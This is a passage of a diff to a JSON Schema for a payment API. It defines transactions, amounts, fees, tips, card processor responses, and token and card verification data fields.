"https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } }, - "cryptogram": { - "type": "string" - } + "title": "Card Processor Response", + "type": "object" } - } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" } }, - "cardType": { - "type": "string", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] - }, - "eVoucherSerial": { - "type": "string" - }, - "eVoucherApprovalCode": { - "type": "string" - } + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" }, - "required": [ - "cardDetail", - "cardType" - ] + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy PaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents Adjustment transaction against a payment", + "properties": { + "newAmount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "cvData": { + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "description": "CVV information typically at the back of the card.", "writeOnly": true }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" } - } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "feeType": { + "description": "Fee type discriminator", + "type": "string" } }, "required": [ - "type" - ] - } + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true - } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + } + }, + "required": [ + "newAmount" + ], + "title": "Adjustment Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" + }, + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" }, - "required": [ - "token" - ] + "propertyName": "feeType" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + }, + "authorizations": { + "description": "Authorizations for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/authorization.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } }, "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "territory": { + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "description": "Territory" + "writeOnly": true }, - "territoryType": { - "type": "string", + "type": { + "description": "Fee Program type", "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "example": "SURCHARGE", + "type": "string" } }, "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": 